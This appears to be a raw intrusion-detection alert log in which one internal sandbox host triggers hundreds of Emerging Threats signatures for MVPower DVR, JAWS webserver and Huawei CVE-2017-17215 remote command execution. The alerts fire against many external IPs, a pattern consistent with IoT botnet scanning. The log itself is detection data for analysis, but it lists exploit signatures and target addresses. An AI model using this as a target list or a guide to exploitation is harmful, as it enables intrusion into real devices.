192.168.2.2338.181.35.21934232802025883 01/02/24-06:23:57.729740	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34232	80	192.168.2.23	38.181.35.219
192.168.2.2391.215.216.4359224802030092 01/02/24-06:23:50.494104	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59224	80	192.168.2.23	91.215.216.43
192.168.2.23173.246.114.1738990802025883 01/02/24-06:24:15.084514	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38990	80	192.168.2.23	173.246.114.17
192.168.2.23184.29.129.740722802025883 01/02/24-06:23:49.999892	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40722	80	192.168.2.23	184.29.129.7
192.168.2.2394.237.51.5260554802025883 01/02/24-06:24:20.104130	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60554	80	192.168.2.23	94.237.51.52
192.168.2.23156.254.100.15556258372152829579 01/02/24-06:24:45.346010	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56258	37215	192.168.2.23	156.254.100.155
192.168.2.232.135.71.17637678802025883 01/02/24-06:24:11.112670	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37678	80	192.168.2.23	2.135.71.176
192.168.2.2398.4.73.1259564802025883 01/02/24-06:25:01.180668	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59564	80	192.168.2.23	98.4.73.12
192.168.2.2368.68.1.22036644802030092 01/02/24-06:25:00.920491	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36644	80	192.168.2.23	68.68.1.220
192.168.2.2335.160.3.14954360802025883 01/02/24-06:24:40.650599	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54360	80	192.168.2.23	35.160.3.149
192.168.2.2343.225.210.1847296802030092 01/02/24-06:24:55.316812	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47296	80	192.168.2.23	43.225.210.18
192.168.2.2323.7.184.25344448802030092 01/02/24-06:24:40.620372	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44448	80	192.168.2.23	23.7.184.253
192.168.2.23154.216.168.7659634802025883 01/02/24-06:23:58.312912	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59634	80	192.168.2.23	154.216.168.76
192.168.2.2344.237.242.20252038802025883 01/02/24-06:24:36.865314	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52038	80	192.168.2.23	44.237.242.202
192.168.2.2331.41.88.1257330802025883 01/02/24-06:24:41.167214	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57330	80	192.168.2.23	31.41.88.12
192.168.2.2335.211.249.21148824802025883 01/02/24-06:24:30.918981	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48824	80	192.168.2.23	35.211.249.211
192.168.2.23172.67.227.649236802025883 01/02/24-06:24:30.712225	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49236	80	192.168.2.23	172.67.227.6
192.168.2.2320.244.147.18357646802030092 01/02/24-06:24:58.867978	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57646	80	192.168.2.23	20.244.147.183
192.168.2.23104.111.199.19550616802030092 01/02/24-06:24:14.253972	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50616	80	192.168.2.23	104.111.199.195
192.168.2.235.201.189.18145518802025883 01/02/24-06:25:25.755860	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45518	80	192.168.2.23	5.201.189.181
192.168.2.2352.215.63.14354620802025883 01/02/24-06:25:02.012429	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54620	80	192.168.2.23	52.215.63.143
192.168.2.23104.81.147.8654666802030092 01/02/24-06:23:51.956424	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54666	80	192.168.2.23	104.81.147.86
192.168.2.2323.194.49.1647606802025883 01/02/24-06:24:41.187072	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47606	80	192.168.2.23	23.194.49.16
192.168.2.23147.161.173.436874802025883 01/02/24-06:24:27.401967	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36874	80	192.168.2.23	147.161.173.4
192.168.2.23156.235.99.3048078372152835222 01/02/24-06:25:03.497384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48078	37215	192.168.2.23	156.235.99.30
192.168.2.23202.75.28.17559818802030092 01/02/24-06:24:09.284359	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59818	80	192.168.2.23	202.75.28.175
192.168.2.2318.182.204.24235596802030092 01/02/24-06:25:43.130381	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35596	80	192.168.2.23	18.182.204.242
192.168.2.2313.55.87.22949346802030092 01/02/24-06:24:15.126337	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49346	80	192.168.2.23	13.55.87.229
192.168.2.23172.121.35.8032926802025883 01/02/24-06:23:50.004340	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32926	80	192.168.2.23	172.121.35.80
192.168.2.23103.204.176.20545228802025883 01/02/24-06:24:18.853608	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45228	80	192.168.2.23	103.204.176.205
192.168.2.23104.230.152.22550120802025883 01/02/24-06:24:30.618084	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50120	80	192.168.2.23	104.230.152.225
192.168.2.2323.37.171.10453882802030092 01/02/24-06:24:30.942227	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53882	80	192.168.2.23	23.37.171.104
192.168.2.23209.212.159.21533838802030092 01/02/24-06:25:09.542471	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33838	80	192.168.2.23	209.212.159.215
192.168.2.23117.52.81.22652076802025883 01/02/24-06:25:30.193653	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52076	80	192.168.2.23	117.52.81.226
192.168.2.2391.200.67.11059548802025883 01/02/24-06:24:19.258178	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59548	80	192.168.2.23	91.200.67.110
192.168.2.2320.44.122.13056304802030092 01/02/24-06:24:35.077411	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56304	80	192.168.2.23	20.44.122.130
192.168.2.2313.250.225.1660966802030092 01/02/24-06:24:43.065656	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60966	80	192.168.2.23	13.250.225.16
192.168.2.2318.176.244.12750336802030092 01/02/24-06:24:45.251137	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50336	80	192.168.2.23	18.176.244.127
192.168.2.23104.107.146.11748156802025883 01/02/24-06:24:01.091302	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48156	80	192.168.2.23	104.107.146.117
192.168.2.23200.52.65.8038840802025883 01/02/24-06:25:07.011268	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38840	80	192.168.2.23	200.52.65.80
192.168.2.2323.214.139.1748916802025883 01/02/24-06:24:08.852245	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48916	80	192.168.2.23	23.214.139.17
192.168.2.2395.101.194.5540702802025883 01/02/24-06:25:10.079630	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40702	80	192.168.2.23	95.101.194.55
192.168.2.23186.39.8.7359120802025883 01/02/24-06:25:19.095834	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59120	80	192.168.2.23	186.39.8.73
192.168.2.23194.29.100.3746672802030092 01/02/24-06:24:49.045138	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46672	80	192.168.2.23	194.29.100.37
192.168.2.23205.186.128.848982802025883 01/02/24-06:24:27.336199	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48982	80	192.168.2.23	205.186.128.8
192.168.2.2377.129.5.23550818802030092 01/02/24-06:25:29.681948	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50818	80	192.168.2.23	77.129.5.235
192.168.2.2346.4.186.23653184802025883 01/02/24-06:24:54.906257	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53184	80	192.168.2.23	46.4.186.236
192.168.2.23197.15.56.18050906802025883 01/02/24-06:24:01.084128	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50906	80	192.168.2.23	197.15.56.180
192.168.2.23206.238.103.10546650802030092 01/02/24-06:24:08.700707	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46650	80	192.168.2.23	206.238.103.105
192.168.2.23115.110.175.3654248802030092 01/02/24-06:25:42.911184	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54248	80	192.168.2.23	115.110.175.36
192.168.2.2343.175.236.10258804802030092 01/02/24-06:25:44.028517	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58804	80	192.168.2.23	43.175.236.102
192.168.2.2387.123.31.16541088802025883 01/02/24-06:24:24.186617	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41088	80	192.168.2.23	87.123.31.165
192.168.2.23129.21.35.14555408802030092 01/02/24-06:24:59.028627	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55408	80	192.168.2.23	129.21.35.145
192.168.2.23104.252.147.12855178802025883 01/02/24-06:25:35.867202	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55178	80	192.168.2.23	104.252.147.128
192.168.2.231.214.84.941418802030092 01/02/24-06:25:32.217582	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41418	80	192.168.2.23	1.214.84.9
192.168.2.2345.11.236.14242078802030092 01/02/24-06:24:59.115435	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42078	80	192.168.2.23	45.11.236.142
192.168.2.2362.146.189.2848810802030092 01/02/24-06:25:38.026986	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48810	80	192.168.2.23	62.146.189.28
192.168.2.2352.66.124.19643216802030092 01/02/24-06:24:31.144023	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43216	80	192.168.2.23	52.66.124.196
192.168.2.2390.186.147.7442050802025883 01/02/24-06:24:54.920917	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42050	80	192.168.2.23	90.186.147.74
192.168.2.23104.27.61.23650004802025883 01/02/24-06:24:48.847612	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50004	80	192.168.2.23	104.27.61.236
192.168.2.2343.225.210.1847310802025883 01/02/24-06:24:55.583858	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47310	80	192.168.2.23	43.225.210.18
192.168.2.23156.235.102.23453884372152829579 01/02/24-06:24:34.990700	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53884	37215	192.168.2.23	156.235.102.234
192.168.2.23198.44.248.10442602802025883 01/02/24-06:24:27.798165	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42602	80	192.168.2.23	198.44.248.104
192.168.2.2377.74.207.20352380802030092 01/02/24-06:25:35.073405	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52380	80	192.168.2.23	77.74.207.203
192.168.2.2313.250.65.9258572802025883 01/02/24-06:25:21.541317	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58572	80	192.168.2.23	13.250.65.92
192.168.2.23130.211.15.9540968802025883 01/02/24-06:23:49.492483	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40968	80	192.168.2.23	130.211.15.95
192.168.2.232.182.153.6248988802025883 01/02/24-06:24:24.372962	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48988	80	192.168.2.23	2.182.153.62
192.168.2.232.189.137.1749444802025883 01/02/24-06:25:04.484177	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49444	80	192.168.2.23	2.189.137.17
192.168.2.2335.211.213.10757532802030092 01/02/24-06:25:37.947175	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57532	80	192.168.2.23	35.211.213.107
192.168.2.23198.12.222.11345034802030092 01/02/24-06:24:58.944478	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45034	80	192.168.2.23	198.12.222.113
192.168.2.2389.218.57.12838636802030092 01/02/24-06:23:50.310617	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38636	80	192.168.2.23	89.218.57.128
192.168.2.23218.35.171.23047210802025883 01/02/24-06:24:23.810086	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47210	80	192.168.2.23	218.35.171.230
192.168.2.2323.12.99.17136038802030092 01/02/24-06:24:09.103574	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36038	80	192.168.2.23	23.12.99.171
192.168.2.2318.214.78.16148682802030092 01/02/24-06:24:56.009741	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48682	80	192.168.2.23	18.214.78.161
192.168.2.2323.207.79.24432972802025883 01/02/24-06:24:45.082176	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32972	80	192.168.2.23	23.207.79.244
192.168.2.2338.181.35.21934120802030092 01/02/24-06:23:54.670611	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34120	80	192.168.2.23	38.181.35.219
192.168.2.23103.204.176.20545228802030092 01/02/24-06:24:18.853608	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45228	80	192.168.2.23	103.204.176.205
192.168.2.2377.223.119.15053212802025883 01/02/24-06:25:25.284668	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53212	80	192.168.2.23	77.223.119.150
192.168.2.23109.168.109.22945120802030092 01/02/24-06:23:56.151964	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45120	80	192.168.2.23	109.168.109.229
192.168.2.2344.215.139.22838962802025883 01/02/24-06:25:42.024128	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38962	80	192.168.2.23	44.215.139.228
192.168.2.2364.120.69.4946098802025883 01/02/24-06:24:49.087899	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46098	80	192.168.2.23	64.120.69.49
192.168.2.23209.212.159.21533838802025883 01/02/24-06:25:09.542471	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33838	80	192.168.2.23	209.212.159.215
192.168.2.23149.57.79.10232814802025883 01/02/24-06:23:51.958904	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32814	80	192.168.2.23	149.57.79.102
192.168.2.23170.130.22.25444286802030092 01/02/24-06:24:08.505355	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44286	80	192.168.2.23	170.130.22.254
192.168.2.2335.244.131.839990802030092 01/02/24-06:25:34.794177	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39990	80	192.168.2.23	35.244.131.8
192.168.2.2338.55.173.24453040802025883 01/02/24-06:23:51.512013	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53040	80	192.168.2.23	38.55.173.244
192.168.2.23208.70.77.18137854802030092 01/02/24-06:24:43.121132	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37854	80	192.168.2.23	208.70.77.181
192.168.2.2342.237.113.22243184802030092 01/02/24-06:24:52.311736	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43184	80	192.168.2.23	42.237.113.222
192.168.2.23104.114.164.4947672802025883 01/02/24-06:25:25.169174	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47672	80	192.168.2.23	104.114.164.49
192.168.2.2345.169.136.260250802025883 01/02/24-06:24:37.969433	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60250	80	192.168.2.23	45.169.136.2
192.168.2.235.133.222.13648094802030092 01/02/24-06:23:51.610663	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48094	80	192.168.2.23	5.133.222.136
192.168.2.2399.79.174.3141104802025883 01/02/24-06:25:34.689900	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41104	80	192.168.2.23	99.79.174.31
192.168.2.23138.118.173.13258566802030092 01/02/24-06:24:33.144309	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58566	80	192.168.2.23	138.118.173.132
192.168.2.232.16.231.22546374802030092 01/02/24-06:24:45.225996	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46374	80	192.168.2.23	2.16.231.225
192.168.2.23154.223.106.9147644802025883 01/02/24-06:24:04.156293	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47644	80	192.168.2.23	154.223.106.91
192.168.2.2320.70.223.6440344802025883 01/02/24-06:24:31.051081	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40344	80	192.168.2.23	20.70.223.64
192.168.2.2323.7.184.25344448802025883 01/02/24-06:24:40.620372	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44448	80	192.168.2.23	23.7.184.253
192.168.2.2323.43.229.22859784802030092 01/02/24-06:23:58.287305	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59784	80	192.168.2.23	23.43.229.228
192.168.2.23193.233.164.23748736802030092 01/02/24-06:24:17.936241	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48736	80	192.168.2.23	193.233.164.237
192.168.2.23175.29.154.10159250802025883 01/02/24-06:24:03.503193	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59250	80	192.168.2.23	175.29.154.101
192.168.2.2318.161.154.7646938802030092 01/02/24-06:24:40.755405	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46938	80	192.168.2.23	18.161.154.76
192.168.2.2362.24.144.16546790802030092 01/02/24-06:25:42.725214	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46790	80	192.168.2.23	62.24.144.165
192.168.2.23220.134.75.18260554802030092 01/02/24-06:25:32.202180	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60554	80	192.168.2.23	220.134.75.182
192.168.2.23192.126.242.16243294802030092 01/02/24-06:25:09.578837	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43294	80	192.168.2.23	192.126.242.162
192.168.2.2398.4.73.1259564802030092 01/02/24-06:25:01.180668	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59564	80	192.168.2.23	98.4.73.12
192.168.2.2318.167.130.6444126802025883 01/02/24-06:24:24.131709	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44126	80	192.168.2.23	18.167.130.64
192.168.2.23154.208.198.21441798802025883 01/02/24-06:24:45.035888	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41798	80	192.168.2.23	154.208.198.214
192.168.2.23106.15.76.4851782802030092 01/02/24-06:24:31.040036	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51782	80	192.168.2.23	106.15.76.48
192.168.2.2362.254.208.1058096802025883 01/02/24-06:24:13.764312	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58096	80	192.168.2.23	62.254.208.10
192.168.2.2396.67.179.140870802025883 01/02/24-06:24:10.828261	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40870	80	192.168.2.23	96.67.179.1
192.168.2.2335.231.230.6033018802025883 01/02/24-06:25:03.820714	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33018	80	192.168.2.23	35.231.230.60
192.168.2.23210.136.185.6435820802030092 01/02/24-06:25:42.761377	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35820	80	192.168.2.23	210.136.185.64
192.168.2.23201.229.167.15941366802030092 01/02/24-06:24:19.178132	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41366	80	192.168.2.23	201.229.167.159
192.168.2.23142.58.163.9638386802030092 01/02/24-06:23:55.563204	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38386	80	192.168.2.23	142.58.163.96
192.168.2.23217.23.144.15954616802030092 01/02/24-06:25:02.033209	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54616	80	192.168.2.23	217.23.144.159
192.168.2.235.63.152.5938096802025883 01/02/24-06:24:37.257342	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38096	80	192.168.2.23	5.63.152.59
192.168.2.2349.233.248.20255454802030092 01/02/24-06:25:29.740902	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55454	80	192.168.2.23	49.233.248.202
192.168.2.2323.3.57.12446500802025883 01/02/24-06:25:22.066559	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46500	80	192.168.2.23	23.3.57.124
192.168.2.23154.216.168.7659634802030092 01/02/24-06:23:58.312912	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59634	80	192.168.2.23	154.216.168.76
192.168.2.2387.249.21.23144962802025883 01/02/24-06:23:59.225841	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44962	80	192.168.2.23	87.249.21.231
192.168.2.2352.216.42.2137628802030092 01/02/24-06:25:15.620032	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37628	80	192.168.2.23	52.216.42.21
192.168.2.23195.62.126.5460000802030092 01/02/24-06:24:11.155988	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60000	80	192.168.2.23	195.62.126.54
192.168.2.2391.146.142.15155428802030092 01/02/24-06:24:27.710944	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55428	80	192.168.2.23	91.146.142.151
192.168.2.2347.96.31.6043368802030092 01/02/24-06:24:32.931561	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43368	80	192.168.2.23	47.96.31.60
192.168.2.23123.1.253.23654834802030092 01/02/24-06:24:30.849841	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54834	80	192.168.2.23	123.1.253.236
192.168.2.2345.243.32.10952362802030092 01/02/24-06:25:05.266557	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52362	80	192.168.2.23	45.243.32.109
192.168.2.2324.236.125.8436362802025883 01/02/24-06:23:50.012962	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36362	80	192.168.2.23	24.236.125.84
192.168.2.23104.91.11.15157840802025883 01/02/24-06:23:57.977771	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57840	80	192.168.2.23	104.91.11.151
192.168.2.23157.90.166.540292802030092 01/02/24-06:25:26.148693	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40292	80	192.168.2.23	157.90.166.5
192.168.2.2374.48.170.2654894802025883 01/02/24-06:24:48.887995	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54894	80	192.168.2.23	74.48.170.26
192.168.2.23174.71.165.22954816802025883 01/02/24-06:24:51.730581	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54816	80	192.168.2.23	174.71.165.229
192.168.2.2334.88.138.1944478802030092 01/02/24-06:25:30.159443	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44478	80	192.168.2.23	34.88.138.19
192.168.2.23159.69.20.6060990802025883 01/02/24-06:23:51.599206	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60990	80	192.168.2.23	159.69.20.60
192.168.2.2391.242.215.20436660802030092 01/02/24-06:24:18.756077	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36660	80	192.168.2.23	91.242.215.204
192.168.2.2334.224.189.17652658802030092 01/02/24-06:25:00.915017	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52658	80	192.168.2.23	34.224.189.176
192.168.2.23116.202.207.17543532802025883 01/02/24-06:24:40.704654	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43532	80	192.168.2.23	116.202.207.175
192.168.2.2352.222.57.8340002802030092 01/02/24-06:24:17.613377	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40002	80	192.168.2.23	52.222.57.83
192.168.2.2335.242.176.1443110802030092 01/02/24-06:25:21.012628	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43110	80	192.168.2.23	35.242.176.14
192.168.2.23114.55.243.17648672802030092 01/02/24-06:25:22.179481	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48672	80	192.168.2.23	114.55.243.176
192.168.2.2351.210.249.6660948802030092 01/02/24-06:24:52.075605	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60948	80	192.168.2.23	51.210.249.66
192.168.2.2323.217.78.18433170802030092 01/02/24-06:25:04.964747	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33170	80	192.168.2.23	23.217.78.184
192.168.2.23197.26.86.8560062802030092 01/02/24-06:25:19.114868	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60062	80	192.168.2.23	197.26.86.85
192.168.2.23211.149.152.3757174802030092 01/02/24-06:25:42.230065	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57174	80	192.168.2.23	211.149.152.37
192.168.2.2345.15.66.2040310802030092 01/02/24-06:24:05.830727	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40310	80	192.168.2.23	45.15.66.20
192.168.2.2337.97.157.9157446802025883 01/02/24-06:25:34.999588	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57446	80	192.168.2.23	37.97.157.91
192.168.2.23211.251.235.10549264802030092 01/02/24-06:25:44.278757	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49264	80	192.168.2.23	211.251.235.105
192.168.2.23176.112.147.6145918802025883 01/02/24-06:24:56.122079	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45918	80	192.168.2.23	176.112.147.61
192.168.2.23104.73.17.2758458802025883 01/02/24-06:24:01.120240	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58458	80	192.168.2.23	104.73.17.27
192.168.2.2352.188.170.14760094802025883 01/02/24-06:24:56.015920	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60094	80	192.168.2.23	52.188.170.147
192.168.2.23143.0.84.21038402802030092 01/02/24-06:24:01.350138	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38402	80	192.168.2.23	143.0.84.210
192.168.2.2368.233.96.13258694802025883 01/02/24-06:25:19.392967	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58694	80	192.168.2.23	68.233.96.132
192.168.2.23104.21.5.8858690802030092 01/02/24-06:24:30.711855	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58690	80	192.168.2.23	104.21.5.88
192.168.2.23104.107.28.1660550802030092 01/02/24-06:23:51.391248	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60550	80	192.168.2.23	104.107.28.16
192.168.2.2318.67.255.7133036802025883 01/02/24-06:24:42.963614	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33036	80	192.168.2.23	18.67.255.71
192.168.2.23154.37.215.11352664802025883 01/02/24-06:25:06.760411	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52664	80	192.168.2.23	154.37.215.113
192.168.2.2318.140.253.6745590802030092 01/02/24-06:25:35.354970	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45590	80	192.168.2.23	18.140.253.67
192.168.2.23104.76.96.2160320802030092 01/02/24-06:25:15.761034	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60320	80	192.168.2.23	104.76.96.21
192.168.2.232.136.180.9132958802030092 01/02/24-06:24:20.174770	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32958	80	192.168.2.23	2.136.180.91
192.168.2.23156.235.99.4053148372152835222 01/02/24-06:25:03.497246	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53148	37215	192.168.2.23	156.235.99.40
192.168.2.2388.151.101.14851274802030092 01/02/24-06:25:35.254797	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51274	80	192.168.2.23	88.151.101.148
192.168.2.2345.56.102.14636664802030092 01/02/24-06:24:56.015984	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36664	80	192.168.2.23	45.56.102.146
192.168.2.2362.202.156.24135188802025883 01/02/24-06:24:17.662475	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35188	80	192.168.2.23	62.202.156.241
192.168.2.2323.77.132.17740724802025883 01/02/24-06:24:18.209402	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40724	80	192.168.2.23	23.77.132.177
192.168.2.23202.88.191.10458160802030092 01/02/24-06:23:59.400873	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58160	80	192.168.2.23	202.88.191.104
